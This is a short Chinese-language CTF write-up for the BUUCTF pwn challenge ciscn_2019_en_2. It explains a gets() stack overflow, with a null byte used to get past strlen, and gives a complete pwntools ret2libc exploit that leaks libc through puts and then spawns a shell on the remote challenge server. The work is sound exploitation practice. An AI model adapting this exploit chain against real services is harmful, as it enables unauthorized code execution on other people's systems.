0x01 分析
checksec:
ida:
0x02 思路
选择1,进入Encrypt函数,gets函数溢出,\0绕过strlen,防止程序对我们输入的payload进行加密,破坏payload。
没有system和binsh。
64位,用寄存器传参,找pop_rdi:
注意栈平衡,ret用来进行栈对齐。
0x03 EXP
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
p=remote('node4.buuoj.cn',25059)
elf = ELF('./ciscn_2019_en_2')
main=0x400b28
pop_rdi_ret=0x400c83
ret=0x4006b9
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
payload1=b'\0'+(0x50-1+8)*b'a'#已经写了一个字符\0,所以要-1
payload1+=p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
p.recvuntil("Input your choice!\n")
p.sendline(b'1')
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload1)
p.recvuntil("Ciphertext\n\n")#两个回车
puts=u64(p.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher("puts",puts)
libc_base=puts-libc.dump("puts") #计算偏移
system=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")
payload2=b'\0'+(0x50-1+8)*b'a'
payload2+=p64(ret)+p64(pop_rdi_ret)+p64(binsh)+p64(system)#栈平衡
p.recvuntil("Input your choice!\n")
p.sendline(b'1')
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload2)
p.interactive()